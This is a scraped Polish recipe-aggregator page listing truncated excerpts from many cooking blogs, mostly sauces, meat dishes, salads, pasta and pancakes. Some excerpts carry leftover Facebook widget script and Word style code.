zasmażkę (smażyć ją kilka minut na małym ogniu). Na sam koniec do warzyw dodać zasmażkę. Całość przemieszać i gotować tak długo (na małym ogniu), aż utworzy się dosyć gęsty sos. Na sam koniec posmakować, ewentualnie doprawić solą, pieprzem, odrobiną cukru i soku z cytryny

Ugotować
Sałatka z krewetkami w tempurze 266

nitkę czyli flaczek. Zostawić skorupkę ogonka. Będą ładnie wyglądały, ale nie jest to konieczne.Wrzucić krewetki do miseczki, dodać pokrojone drobno chilli, kurkumę, wyciśnięty przez praskę czosnek, słodko kwaśny sos chilli. Doprawić solą i skropić sokiem z cytryny. Zostawić tak na co najmniej dwie godziny. Przygotowanie ciasta – za pomocą miksera wymieszać mąkę, białko, curry, sól i wodę na gładką

Kuchnia Pokoleń
Zapiekanka makaronowa PYCHOTKA 301

Podlać niepełną szklanką wody. Dodać esencję do duszonego kurczaka oraz przecier pomidorowy. Zamieszać i jeszcze chwilę potrzymać na ogniu. Przygotować naczynie żaroodporne. Na dnie wyłożyć makaron, i zalać go sosem. Posypać startym serem. Włóżyć do piekarnika nagrzanego do 180°C na 20 minut. Można podawać od razu po wyjęciu z piekarnika. Źródło: przepisy.pl linkwithin_text='Zobacz również inne przepisy

Świat Domowej Kuchni
Udka pod majonezem. 157

marynaty na 3-4 godz. następnie smarujemy naczynie żaroodporne masłem, układamy mięso, smarujemy majonezem, pieczemy w piekarniku rozgrzanym do 180 stopni około 30 min. podlewając uzyskanym z mięsa sosem, jeśli mięso będzie się za szybko rumienić należy przykryć je folią aluminiową, tuż przed podaniem odkrywamy, aby mięso było chrupiące

Kuchnia Beaty
Sałatka z kurczakiem, mango, awokado i pomarańczą 231

mango obieramy i kroimy w paski. Pomarańczę filetujemy (  tutaj przydatny filmik, jak łatwo to zrobić). Układamy owoce na rukoli i dokładamy kawałki kurczaka. Składniki dressingu łączymy i podajemy sos do sałatki. Smacznego

Moje Kuchenne Rewelacje
Domowy dżem z żurawiny 163

przepis na szybki domowy dżem idelany do kaczki lub po prostu na kanapkę z wędliną. Możemy go doprawić wedle indywidulanych upodobań. Jest też świetną bazą do  sosów podawanych do mięs.   - szklanka żurawiny - dwa średnie jabłka - łyżeczka masła klarowanego - 2-3 łyżki miodu lub syropu z agawy - odrobina cynamonu - 4 goździki  - łyżka czerwonego octu winnego

Simple Dish
Śledź po "fińsku" 191

wrzątkiem. Całe filety wymoczonego śledzia układamy w słoiku, dodajemy przestudzona cebulę i zalewę.  Śledz po dobie takiego marynowania w lodówce jest gotowy na dodatki (może to być sos śmietanowy, majonezowy, musztardowy etc). Ja proponuję wersję "fińska".   Cebulę i natkę drobno kroimy i przekładamy do miseczki. Dodajemy do nich cukier puder i ugniatamy tak, aby cukier

Simple Dish
Gravlax 217

dnie naczynia. Przed spożyciem oczyszczamy łososia z dodatków i kroimy w cienkie plastry. Bardzo dobrze smakuje podany po prostu na żytnim pieczywie. Dodatkowo można podać go z sosem musztardowym, winegretem, kaparami lub po prostu skropionego cytryna. W zależności od indywidualnych upodobań. Ważne, aby nie przytłoczyć doskonałego smaku gravlaxa. Smacznego!   Jeśli spodobał Ci się

Simple Dish
Sałata z wątróbką i dressingiem balsamiczno-żurawinowym 213

zabieramy się za przygotowanie dressingu. Do małego garnka lub na małą patelnię wlewamy ocet balsamiczny, oliwę i dodajemy konfiturę. Całość delikatnie podgrzewamy doprawiając szczyptą/dwiema pieprzu. Sos w miarę podgrzewania będzie robił się coraz rzadszy, a potem zacznie gęstnieć. Ważne, aby nie podgrzewać go zbyt długo. Powinien być gęsty, ale wciąż płynny i najlepiej polewać sałatkę dressingiem

Simple Dish
Kurczak w cieście 217

Zanurzać kawałki mięsa w cieście i smażyć w bardzo głębokim i rozgrzanym tłuszczu.  Wybierać łyżką cedzakową na papierowy ręcznik, aby ociekły z nadmiaru tłuszczu.  Podawać z ulubionym sosem. (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/pl_PL/all.js#xfbml=1"; fjs.parentNode.insertBefore(js, fjs);}(document, 'script', 'facebook-jssdk

Kuchnia Danusi
Ziemniaczane łódeczki zapiekane z wędzonym tofu 216

Ziemniaki to bulwy przez nas niedoceniane, a zupełnie niepotrzebnie, bo zawierają wiele cennych składników. Złą sławę zyskały lądując przeważnie obok kotleta polane mięsnym, tłustym sosem. Tymczasem odpowiednio przygotowane mogą stanowić lekkie, a przy tym bardzo sycące i rozgrzewające danie. Watro po nie sięgać zwłaszcza teraz, kiedy różnorodność innych warzyw za bardzo nas nie rozpieszcza. Ja uwielbiam ziemniaki podane w różnego

Roślinna - blog wegański
Spaghetti bolognese 159

Smażyć 5 minut. Doprawić solą, pieprzem, papryką, oregano i bazylią. Wlać pomidory z puszki. Dusić kolejne 15-20 minut, co jakiś czas mieszając. W tym czasie ugotować makaron. Gotowy sos wymieszać z makaronem, posypać startym serem żółtym. Smacznego

Moja Galeria Smaku
Golonka bejcowana-pieczona. 214

modrą i ziemniaczkami pieczonymi pycha po prostu. SKŁADNIKI: 5 średnich golonek 2-3 liścia laurowe 10 ziarenek pieprzu szczypta vegety bejca: 1 szkl. piwa 1 łyżka miodu 1 łyżka sosu winnego 1 łyżka musztardy 4 ząbki czosnku 1/2 łyżeczki pieprzu kolorowego grubo mielonego WYKONANIE: golonkę gotujemy w podanych przyprawach, prawie do miękkości, następnie przygotowujemy bejcę, mieszając wszystkie składniki, nacinamy kratkę

Kuchnia Beaty
Sałatka z tuńczyka i ryżu 242

musi skosztować. Moja rodzinka jest nią zachwycona.  Składniki układamy warstwowo, można ułożyć w misce lub pucharkach:) 3 woreczki ryżu 12 łyżek majonezu takiego KLIK 4 puszki tuńczyka w sosie własnym (kawałki, każda po 185 g)  3 pęczki zielonej cebulki 30 dag żółtego sera KLIK 7 jajek KLIK pieprz mielony Ryż gotuję w osolonej wodzie , ma być sypki, odcedzam

Takie tam pichcenie
"Rolmopsy" drobiowe. 159

naczyniu żaroodpornym, polane masłem z odrobiną bulionu przykryte folią aluminiową na 15 min. w temp. 180 stopni (termoobieg), do masła można dodać primerbę bazyliową, zamiast masła można polać sosem koperkowym, bądź innym, który lubimy do drobiu i zapiec

Kuchnia Beaty
Pulpety w sosie pomidorowym z cukinią 136

podgrzewamy, dodajemy passatę razem z cynamonem i czosnkiem staropolskim. Po 15 minutach wrzucamy pokrojoną w kostkę cukinię. Gotujemy na średnim ogniu ( bez przykrycia ) do uzyskania przez nas ulubionej gęstości sosu. Do smaku doprawiamy cukrem, solą i pieprzem. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style

R'n'G Kitchen
Udziec z indyka pieczony z masłem 212

obłożyć wiórkami masła i podlać odrobiną wody. Piec 40 minut w 200 stopniach i następnie około 1 h (do miękkości) w 180. W trakcie pieczenia mięso polewać wytwarzanym się sosem

Di gotuje
Racuchy drożdżowe z żurawiną. 220

jednego przepisu :)  pyszne i pulchne, ja do swoich dodałam jeszcze żurawinę, wyszły super:) Nadają się na obiad a także do kawy.   Moi domownicy jedli je z sosem jagodowym. Zapraszam do wypróbowania :)   Składniki : 500 g mąki pszennej 30 g świeżych drożdży lub 15 g drożdży suchych szczypta soli 1 - 2 łyżki cukru 1,5 szklanki letniego mleka

Sama słodycz i szczypta chili
Zielone wegeburgery bez bułki 161

stopni i pieczemy 30 minut. Przed podaniem przekłuwamy wykałaczką i dekorujemy jedną czarną oliwką. Podajemy jako danie główne lub dodatek do mięsa. Świetnie pasują do nich ostre sosy orientalne. Fanom brokuł polecam także przepis na  kremową zupę z prażonymi migdałami . W tym poście można także przeczytać o właściwościach brokuł

My Chcemy Jeść
Pastrami, co to jest i skąd się wzięło? 431

oglądać. Potem zaczęłam piec jasny żytni chleb, na którym podaje się klasyczną kanapkę Pastrami Reuben. Temat trochę mi się pokomplikował, bo w żadnym z okolicznych sklepów nie było sosu Worchestershire, który potrzebny był mi do dressingu rosyjskiego, z którym podaje się Pastrami Reuben, ale poradziłam sobie, komponując równie smaczny lecz trochę inny dressing. Przygotowałam trzy rodzaje kanapek. Tak więc degustację

Blondynka Gotuje
Obiad w 30 minut: pulpety w sosie pomidorowym z kaszą i surówką z kapusty kiszonej 167

Pyszny, niedrogi i szybki w wykonaniu obiad. Zajmie ci nie dłużej niż 30 minut! Przepis na: Pulpety w sosie pomidorowym Surówka z kiszonej kapusty Jako dodatek polecam kaszę gryczaną, jęczmienną, orkiszową.... Praktycznie każda idealnie pasuje

Tradycyjna Kuchnia
Zupa krem z ciecierzycy z pomidorami 160

selera (korzeń) 1 cebulę 2 ząbki czosnku 1 kawałek pora Natkę pietruszki Koperek  Kilka liści selera Kilka liści lubczyku 4 ziarna ziela angielskiego 3 liście laurowe 2 łyżeczki sosu sojowego (opcjonalnie) 1-2 łyżki oliwy  1 litr wody Pieprz i sól Przygotowanie: 1. Ciecierzycę zalewamy zimną wodą w garnku i odstawiamy na kilka ładnych godzin. Najlepiej zalać

Bananowe Pole
Makaron ze szpinakiem i kabanosami 203

Oboje uwielbiamy makarony – pod każdą postacią. Czy to w sosie (najczęściej nasz ulubiony, pomidorowy), w zupie, zapiekance itp. Nie jemy ich za często, ale jak już ugotujemy to przeważnie

Szybko Tanio Smacznie
Kasza jaglana z brokułem i cukinią. 190

porcje 1/2 szkl. kaszy jaglanej 1 brokuł 1 średnia cukinia 3 łyżki oliwy z oliwek płaska łyżeczka kurkumy papryka słodka, papryka ostra, pieprz ziołowy, kilka kropel sosu sojowego sól, pieprz 1 łyżeczka przyprawy do pizzy Wykonanie: 1. Ok. 1/2 szkl. Kaszy jaglanej upraż od czasu do czasu mieszając na dnie suchego garnka, aż zacznie delikatnie zmieniać kolor i wydzielać lekki

Kubki smaku
Jajka faszerowane sardynkami 198

Jajka na śniadanie, kolację lub przekąskę. Szybkie w przygotowaniu choć z sardynkami z puszki to smaczne. Użyłam tu sardynek w sosie paprykowym. Rozwiń i czytaj przepis

Ewa w kuchni
Tarta z indykiem i szpinakiem w sosie pieczarkowym z prażonym słonecznikiem i dynią 186

najedzony (choć oczywiście zjadłby więcej)! :) Dzisiejsza wersja z pieczarkami, indykiem i szpinakiem jest dość tradycyjna, ale odpowiednio doprawiona staje się wyjątkowa!    Tarta z indykiem i szpinakiem w sosie pieczarkowym z prażonym słonecznikiem i dynią Składniki na ciasto: 150 g mąki 100 g masła 3-4 łyżki jogurtu naturalnego sól Składniki na farsz: 7 dużych pieczarek 1 pierś

aa-kuku - czyli jak żyć zdrowo i pysznie!
Ryba po grecku 200

ogniu pod przykryciem do miękkości warzyw. Cebulę obieramy, kroimy w kostkę , przesmażamy na pozostałym maśle, dodajemy do pozostałych warzyw. Dodajemy ketchup oraz koncentrat pomidorowy, dusimy jeszcze przez kilka minut. Sos doprawiamy do smaku solą, pieprzem oraz cukrem. Rybę kroimy na mniejsze kawałki, oprószamy solą oraz pieprzem, panierujemy w rozkłóconym jajku i mące. Smażymy na rozgrzanym oleju na lekko złoty kolor

Bajeczna Kuchnia
Śledzie po japońsku 176

cytryny – mieszamy, aby jabłko nie ściemniało. Do jabłka dodajemy odsączoną cebulę, śmietanę, musztardę, różową sól himalajską, świeżo zmielony pieprz kolorowy oraz cukier do smaku. Wszystkie składniki dokładnie mieszamy. Do sosu dodajemy śledzie. Mogą być ukośnie pokrojone na kawałki lub całe filety (jeżeli nie są duże). Przykrywamy folią spożywczą i wstawiamy na dobę do lodówki. Podajemy przybrane ćwiartkami jajka na twardo

mojewypiekiinietylko
Jajka gotowane w herbacie 178

przepis na chińską przekąskę ? Otóż Mimi wychowała się w Hong Kongu, i dlatego jeden z rozdziałów jest poświęcony kuchni chińskiej. Składniki 12 jajek 120 ml (0,5 szklanki) ciemnego sosu sojowego 1 laska cynamonu 2 łyżki czarnej herbaty liściastej( użyłam aromatyzowanej bergamotką herbaty Earl Grey ) 1 łyżka brązowego cukru opcjonalnie 2 kawałki suszonej skórki pomarańczowej ( dodałam skórkę z całej pomarańczy

Kulinaria - potrawy z różnych stron świata
Bigos staropolski 193

taka potrzeba posiekać. Dodać grzyby z wodą, w której się moczyły oraz przyprawy. Następnie dodać pokrojone mięsa, upieczony boczek i kiełbasę. Pokrojoną kiełbasę można również przesmażyć na patelni. Wlać sos z pieczenia mięsa do bigosu i dodać czerwone wino. Dodać pokrojone w paski wędzone śliwki. Całość dusić pod przykryciem około 1 godziny, a najlepiej przez kilka dni. Bigos z biegiem

Gotuj zdrowo!Guten Appetit!
Makaron z mascarpone 244

Serek mascarpone zazwyczaj używamy do kremów i słodkich wypieków. Warto pamiętać o nim również przy obiedzie, zwłaszcza makaronach, bo np. sosy z jego udziałem są bardzo smaczne. :-) Tutaj jest jeszcze prościej, bo cały obiad mamy w kilkanaście minut. Zapraszam na makaron penne z mascarpone i mielonym mięsem. Pychota! 500g mięsa mielonego 300g makaronu penne 200g żółtego sera 2 cebule 200g

Szefowa kuchni
Roladki ze schabu nadziewane oliwkami, serem feta i salami! 236

listek bazylii, zwijamy roladkę i spinamy wykałaczkami - tak postępujemy z każdą roladką - roladek nie solimy ponieważ ser feta jest słony, oliwki też, salami jest bardzo aromatyczne, więc doprawimy tylko sos pod którym będziemy je zapiekać - naczynie do zapiekania wysmaruj delikatnie masłem, ułóż roladki - śmietanę wymieszaj z musztardą i 3 łyżkami oliwy z oliwek, dodaj odrobinę soli i pieprzu, Polej roladki

SMYKWKUCHNI
NAJLEPSZA SAŁATKA A'LA PLACEK 250

sera żółtego startego na dużych oczkach  2 cebule pokrojone w drobną kostkę ok 6-7 średniej wielkości ogórków konserwowych 2 puszki tuńczyka w sosie własnym  5-6 jajek ugotowanych na twardo majonez ( wg uznania ) u mnie dużooooo :-)  sól, pieprz Sposób przyrządzenia;  Dno blaszki lub kwadratowej miski wyłożyć krakersami. Majonez wymieszać z serem żółtym i wyłożyć masą

pieprzny smaczek
Śledzie w sosie śmietanowo-musztardowym po szwedzku 210

być dla niektórych kłopot z kupieniem creme fraiche bo tej chyba w polskich sklepach nie ma. Ale i na to jest sposób więc nie ma wymówek - robimy śledzie w sosie śmietowo-musztardowym! Dobry śledź jest zawsze dobry a ten przepis przypasował mi bardzo więc i Was zachęcam do wypróbowania. Myślę, że sprawdzi się nie tylko podczas Świąt, ale też

Smaczna Pyza
Kąski z kurczaka w panierce ze słonecznika 184

prażonym posmakiem oraz delikatnym i soczystym w środku mięsem. Kurczaka przygotowałam w jednoporcjowe kąski, takie akurat na imprezę, które wystarczy ułożyć na paterze i podać z dodatkiem ulubionego  sosu , ale równie dobrze, można zaserwować w całości np. na obiad- jak Ilona z bloga  Słodko-Słony Świat Ilony , od której zaczerpnęłam pomysł :) Porcja dla 2 osób * pierś

Kraina Miodem Płynąca
ZIELONE KLUSECZKI / KOPYTKA Z KASZY MANNY – przepyszne! 199

manny. Delikatne, mięciutkie, z dużą ilością świeżej natki pietruszki. Takie kluseczki są świetnym pomysłem na samodzielne drugie danie albo też jako dodatek do zupy! Idealnie smakują z masłem albo sosem śmietanowym. Robi się je niezwykle szybko i tak samo szybko znikają! Koniecznie wypróbujcie! SKŁADNIKI: * ugotowana kasza manna – 1 szkl * mąka pszenna – 4-5 łyżek * cebula -1 szt * natka

Ostra na Słodko
Test patelni WOLL - czyli patelnia godna prawdziwego szefa kuchni 180

smażenia nawet mimo chwilowej niesprawności nadgarstka. Jest na tyle duża i wysoka, że można przygotować w niej naprawdę sporą ilość jedzenia (dziś np. zmieściło się w niej 10 gołąbków + sos). Dotychczas trafiały mi się patelnie, które nie do końca spełniały moje oczekiwania. Jedna była zbyt płytka, inna szybko się rysowała, kolejna z kolei zbyt lekka a teraz w końcu mogę

Szefowa kuchni
Udka faszerowane szpinakiem i żółtym serem 277

sposób podałam z ziemniakami i gotowanymi  warzywami  na parze. Jeżeli macie ochotę na inne dania z użyciem udek to zachęcam do przygotowania duszonych udek w lekko słodkim sosie (są pyszne!) lub faszerowanych pieczarkami .  Składniki na porcję dla 4 osób: 1 kg udek z kurczaka (waga wraz z kośćmi i skórą) 150 g szpinaku, np. mrożonego w liściach

Ugotować
Kopytka jaglane 149

potrzeba można dodać ciut wody.  Następnie z kawałków ciasta wałkujemy rulon i kroimy kopytka. Kopytka gotujemy w osolonej wodzie.  Podajemy z sosem u mnie pieczarkowo-jarmużowy

Łycha smaków
Tort makaronowy 160

posypujemy solą, pieprzem i majerankiem. Przecier pomidorowy doprawiamy solą pieprzem, majerankiem, bazylią świeżą, oregano oraz dodajemy aby go zagęścić płatki drożdżowe.  Na cukinii układamy makaron polewamy sosem pomidorowym i układamy paski cukinii i tak tworzymy 3 warstwy. Ostatnią warstwę posypujemy parmezanem migdałowym. Zapiekamy w 200 st. przez 45 min. Zdjęcie zrobiłam na drugi dzień

Łycha smaków
Chińszczyzna 175

oliwie, następnie dodajemy paprykę pokrojoną w cienkie paseczki i dusimy. Po ok. 7 min dodajemy grzybki (namoczone wcześniej), kiełki, starty imbir, bambus oraz przyprawę chińską, sos sojowy, sól i pieprz. Całość dusimy jeszcze przez

Łycha smaków
Pulpety z ciecierzycy i kaszy jaglanej 191

Pulpety zrobiłam w dwóch wersjach: bezglutenowa z makaronem ryżowym i ajvarem, a drugie dla małżonka z makaronem pszennym i sosem pomidorowym

Łycha smaków
Śledź w sosie jogurtowo-musztardowym 161

kroimy w paseczki, dodajemy do nich pokrojony  por w półksiężyce,  szczypiorek, ogórki w talarki oraz jabłko w kosteczkę. Jogurt mieszamy z musztardą, dodajemy pieprz, gorczycę. Śledzie zalewamy sosem jogurtowo-musztardowym

Łycha smaków
Sałatka z kabanosa z bundzem i krakersami 158

sztuka. Sztuką jest zrobić coś z niczego! Wystarczy odrobina wyobraźni i kilka minut i gotowe! Sery doskonale współgrają smakowo z żurawiną, czy to w postaci suszonej czy w formie sosu ze świeżych owoców. Żurawina świetnie smakuje z mięsami i pasztetami, a klasyka chyba każdemu z nas znana to oscypki grillowane podawane z żurawiną właśnie.  Kilka dni temu otrzymałam kilka

Moja smaczna kuchnia
Ciasto z czerwoną borówką i sosem jogurtowym 153

borówek. Ot i nieznajomość rzeczy, ważne że borówka jest pyszna, zdrowa, idealna do mięs ale i do deserów, polecam. Ciasto z czerwoną borówką i sosem jogurtowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Piernikowe mini bajaderki 184

tradycji i już dziś prezentuję nowy przepis. Jest to pomysł na zagospodarowanie poświątecznych pierniczków. Ja zawsze piekę ich dużo więcej niż potrzeba by potem mieć do deserów, sosów i na spody do ciast. Czytaj więcej

Wiem co jem
Niebo w gębie - Kurczak w sosie winno kaparowym z suszonymi pomidorami 393

przepis który już robiłam (ale teraz zmodyfikowałam go po swojemu) ja jako dodatek proponuje frytki z batatów i lekką sałatkę i takie połączenie idealnie pasuje do ostrości i kwaskowatości sosu w którym się dusi kurczak, złagodzone przez słodkość batatów i znów się zaostrzone smakiem winegretu w sałatce po prostu idealne połączenie dla mnie. Składniki (dla 2-3 osób) 5 pałek

Piekielna Kuchnia Pati
Gulasz z karkówką, batatami i jarmużem / Pork, sweet potato and kale stew 221

Dziś przedstawiam kolejny pomysł na rozgrzewający obiad na chłodne wieczory. Moja ukochana soczysta karkówka, duszona ze słodkimi ziemniakami, jarmużem, soczewicą, cukinią, papryką i pomidorami, w sosie z dalekowschodnimi przyprawami i masłem orzechowym. Podany posypany uprażonymi orzeszkami ziemnymi i dymką, uszczęśliwi każdego głodomora Polecam gorąco! Scroll down for recipe in English Gulasz z karkówką, batatami i jarmużem (4 porcje) Składniki

karmelowy
PLACKI ZIEMNIACZANE 149

Można do ciasta dodać łyżkę śmietany, placki będą bardziej puszyste. Można dodać pokrojoną cebulę, pieczarki, majeranek, natkę pietruszki, starte jabłko. Ps 1. Podajemy je z cukrem pudrem lub sosem grzybowym Smacznego Artykuł PLACKI ZIEMNIACZANE pochodzi z serwisu Gotowanie

Gotowanie-uk
NIE "warstwowa" sałatka z tuńczykiem 189

wszystko siup do jednej poszło :) Jak to mówią jak ci nie wyszło to nie mów o tym  i tak każdemu będzie smakować :) Składniki  1 puszka tuńczyka w sosie własnym (lub oleju) 2 małe lub jeden duży ogórek kiszony 1/2 puszki kukurydzy konserwowej 4 jajka 1 paczka ryżu brązowego długiego (lub zwykłego) 250 g sera żółtego (opcjonalnie) 6 łyżek

Piekielna Kuchnia Pati
Placki w sosie pomidorowo-fasolowym. 135

Składniki SOS: 400 g pomidorów krojonych z puszki 400 g białej fasoli z puszki tymianek, sól, papryka ostra mielona 2 ząbki czosnku Pomidory i fasolę przekładamy razem z zalewami do garnka - doprawiamy do smaku. Czosnek przeciskamy przez praskę i również dodajemy do garnka. Gotujemy od czasu do czasu mieszając, aż fasola będzie miękka. Po przepis na placki zapraszam   tutaj

Moje-pitraszenie
Zrazy 255

Dorzucamy liść laurowy oraz kilka ziarenek ziela angielskiego. Czekamy aż zacznie wrzeć i wstawiamy do piekarnika nagrzanego na 180 stopni na około 90 minut. Pod koniec duszenia sprawdzamy czy sos jest odpowiednio doprawiony i dodajemy przyprawy jeżeli są konieczne. Kontrolujemy również ilość bulionu i uzupełniamy w razie konieczności. Kiedy mięso będzie miękkie wyjmujemy brytfankę z piekarnika i zostawiamy na kilka

Kolizje Smaków
Żółte placuszki z kaszy jaglanej 181

olej i formujemy kotleciki ( ja pera kotlecików obtoczyłam w bułce natomiast resztę wykładałam łyżka od razu na rozgrzany tłuszcz). Smażymy na rumiano z każdej strony podajemy z surówką bądź sosem lub same :) Smacznego

Gotowanie...to proste !
Pieczeń rzymska z prażoną cebulką 256

się smalcem w czystej postaci, co podnosi smak pieczeni, można nim smarować kanapki. Pieczeń rzymska jest idealna pokrojona w grube plastry jako danie obiadowe na ciepło podana z ciemnym sosem, albo jako dodatek do kanapek krojona w cienkie plastry. Pieczeń przygotowana została ze świeżej łopatki i boczku. Pieczeń rzymska (potrawa z pieczonego mięsa mielonego) jest u nas przygotowywana dosyć regularnie

Damsko-męskie spojrzenie na kuchnię
Spaghetti z dyni makaronowej 295

Wtedy dodajemy passatę/ zmiksowane pomidory z puszki i czekamy, aż zagrzeje się nasz sosik ;) Próbujemy – i w razie potrzeby doprawiamy do smaku. Nakładamy makaron z dyni razem z sosem i posypujemy startym serem. I gotowe! ;) Smacznego

Jak gotować i nie zwariować
Warsztaty QAFP w kiełbasianej odsłonie 175

przygotowania w trakcie warsztatów mieliśmy: pieczoną kiełbasę z wędzonym boczkiem i cebulą i pieczywem z węglem jadalnym parowaną kiełbasę wieprzową z dodatkiem złiół  orientalnych i sosem sojowo sezamowym z sałatką z mango i ogórka grillowaną kiełbasę wieprzową  dodatkiem wołowiny i trawy żubrowej z musem morelowym i zapiekaną  gruszką z serem bryndza Na czas warsztatów

Kulinarne przygody Gatity
Kuleczki ziemniaczane z czosnkiem 170

drobniutko czosnek. Łączymy wszystko razem. Z wyrobionego ciasta robimy małe kuleczki. Gotujemy w osolonej wodzie około 3 minut Podajemy na gorąco posypując posiekanym koperkiem do każdego rodzaju mięs i sosów. Smacznego

kgwjanczewo
Udka pieczone ze szczyptą orientu 166

zamierzony.  Składniki 4 podudzia kurczaka 1 posiekana cebula 2 zmiażdżone ząbki czosnku 1 łyżka startego świeżego imbiru 1 łyżka przyprawy garam masala 100 ml mleczka kokosowego 3 łyżki sosu rybnego Dodatkowo : 1 mała cukinia 1 czerwona cebula 1 jabłko 1 czerwona papryka   Przygotowanie Udka kurczaka po umyciu i osuszeniu naciąłem ostrym nożem. Składniki marynaty wymieszałem. Włożyłem do niej

R'n'G Kitchen
Krokiety z farszem z piersi kurczaka, boczniaków i suszonych pomidorów 225

sposobem podanym poniżej:  Zwinięte krokiety panierować kolejno w mące, roztrzepanym jajku z łyżką mleka i bułce tartej. Smażyć na rozgrzanym oleju. Do krokietów doskonale pasuje  Kremowy sos curry . Smacznego

Piąty grzech główny
Indyk po brazylijsku 250

Później nie zmieniając temperatury(co zapobiega wyschnięciu mięsa) pieczemy przez następne 1,5 godziny, tym razem bez przykrywki, nie zapominając obracać mięsa od czasu do czasu i polewać go sosem własnym. Gotowe! Ps. Jeszcze pyszniejszy jest oczywiście z konfiturą z borówek czy żurawiną

Smaki Brazylii
ZAPIEKANKA MAKARONOWA Z KURCZAKIEM I WARZYWAMI / RYE PASTA CASSEROLE WITH VEGETABLES AND CHICKEN 140

pieprz, ulubione zioła i wszystko dokładnie wymieszaj, żeby warzywa się lekko zamarynowały. Kurczaka umyj, osusz, powycinaj nieładne kawałki mięsa. Wrzuć do miski i też wymieszaj z marynatą – oliwa, sos sojowy, kilka kropel tabasco, czosnek, sol, pieprz, zioła. Wszystkie warzywa, razem z marynatą wrzucamy na rozgrzaną patelnię, smażymy na sporym ogniu aż warzywa lekko zmiękną. Osobno smażymy pokrojonego buraka

Martyna Cooks
Golonka pieczona z kapustą kiszoną 218

łupinach Składniki na marynatę: 2 cebule, drobno posiekane 3 ząbki czosnku, przeciśnięte przez praskę 1 łyżka świeżo mielonego pieprzu 2 łyżki musztardy 2 łyżki oliwy z oliwek 2 łyżki sosu sojowego 1 płaska łyżeczka ostrej papryki CZAS PRZYGOTOWANIA: 200 MIN +marynowanie POZIOM TRUDNOŚCI: ŚREDNI 1. Wszystkie składniki na marynatę dokładnie ze sobą mieszamy. Nacieramy nią obie golonki, wkładamy

My Culinary Art
Koperkowe pulpety 223

przekładam je do garnka. Wodę mieszam z mąką i papryką. Wlewam do pulpetów. Gotuję na małym ogniu około 30 minut. Dodaję śmietanę i gotuję jeszcze przez 5 minut. Sos doprawiam do smaku solą oraz pieprzem

Tradycyjna kuchnia Kasi
Placki z chia 198

Placki z mąki pełnoziarnistej z chia, polane sosem czekoladowo-malinowym i mrożone jagody i maliny, czyli mój kawałek nieba. Pierwsze zdjęcia i post od dłuższego czasu. Fajnie tu wrócić. tak, próbuję z weganizmem. Przepis: własny / 1 lub 2 porcje / 50 g mąki pełnoziarnistej* 2 szczypty sody oczyszczonej łyżeczka cukru łyżka nasion chia 4 łyżki wody 100 ml mleka roślinnego Nasiona

tost z dżemem
Placki z kaszy gryczanej 187

Wszyscy już robili naleśnik z samej kasy gryczanej, więc teraz przyszła pora na placki-pancakes. Podałam jej z sosem czekoladowym i malinowym dżemem chia, a w filiżance kawa zbożowa. Do tego książka, bo w tym roku obiecałam sobie, że zacznę w końcu więcej czytać. Niedziela. Przepis:  przepis z "mynewroots.org" / 1 porcja /  60 g niepalonej kaszy gryczanej około

tost z dżemem
Tarta na kruchym spodzie z pomidorkami suszonymi i koktajlowymi 150

wspominałam uwielbiam tarty na słono. Dziś polecam tartę na kruchym spodzie z oliwkami, mozzarellą , pomidorkami suszonymi z zalewy oraz pomidorkami koktajlowymi. Tartę robi się bardzo szybko i w towarzystwie sosu czosnkowego znika w sekundę :) SMACZNEGO :) SKŁADNIKI: 1 Ciasto kruche ok 300 g garść zielonych oliwek 6 pomidorków suszonych z zalewy 10 pomidorków koktajlowych 1 kulka mozzarella 5 dag sera żółtego

Gotowanie Patki
łosoś z makaronem i fasolką zapiekany w sosie śmietanowym z mozzarellą 228

łosoś zapiekany z makaronem i fasolką Aromatyczny łosoś zapieczony w aksamitnym śmietanowo serowym sosie, to danie wprost idealne, na pierwsze mroźne dni nowego roku. składniki  dla czterech osób 400 g fasolki szparagowej ( może być mrożona) 350 g filetów z łososia 300 g dowolnego makaronu 100 g  sera mozzarella 2 ząbki czosnku 1 cebula 1 papryka 2 jajka

Miód i pieprz
SERNIK Z KREMEM CZEKOLADOWYM, KARMELOWYMI ORZECHAMI I WŁOSKĄ BEZĄ 208

cukier oraz sól, zalewamy wodą i na bardzo wolnym ogniu gotujemy ok. 10 minut, odstawiamy, z alewamy 2 łyżkami śmietanki. Kawę oraz mąkę rozpuszczamy w reszcie śmietanki, wlewamy do sosu i na wolnym ogniu gotujemy dosypując połamane orzechy oraz karmelową posypkę Delecta. Wylewamy na schłodzony krem czekoladowy i odstawiamy na kolejne 20 minut do mrożenia. WARSTWA SEROWA: Wszystkie składniki dokładnie

Ostra na Słodko
Makaron z pastą paprykową i groszkiem 239

Wspomniałam, że pasta z pieczonej papryki, sezamu i masła orzechowego , którą wstawiłam wczoraj, świetnie sprawdza się jako sos do makaronu. Taki obiad smakuje nieziemsko, zwłaszcza, kiedy mamy wcześniej przygotowaną pastę i zrobienie go zajmuje dosłownie chwilę. Jest to dla mnie szczególnie ważne, kiedy mam zajęcia od rana do wieczora, a zrobienie wykwintnego obiadu koliduje z uczeniem się na następny dzień

Be Fit Be Strong
Tortilla szpinakowo-żytnia. 206

każdej strony(aby nie był zbyt suchy). Na placek układamy sałatę, kurczaka, paprykę pomidorki i cebulę. Zwijamy w placka. Grillujemy kilka minut z każdej strony.  Podajemy z sosem czosnkowym* -> 3 łyżki jogurtu greckiego -> 3-4 ząbki czosnku -> Zioła prowansalskie, bazylia, sól pieprz.  Czosnek trzemy i wraz z przyprawami dodajemy do jogurtu, całość mieszamy i odstawiamy

Jedz zdrowo żyj zdrowo!
Karkówka 193

godziny. Po tym czasie sprawdzić czy mięso jest miękkie. Jeżeli tak to płyn w którym się dusiło przelać do garnka, zagęścić mąką i zagotować do czasu, aż uzyskamy sos.  Smacznego

Krakowskie smaki Ani
Bitki drobiowe w delikatnym sosie 140

miękkości mięsa. 5. W kubku rozrabiamy mąkę z śmietaną i odrobina zimnej wody. Wlewamy przez siteczko (żeby grudek nie było ) do mięsa i gotujemy ciągle mieszając do zgęstnienia sosu, na koniec jeśli lubimy dodajemy posiekaną natkę pietruszki. Smacznego

Gotowanie...to proste !
Współpraca z firmą Fanex 138

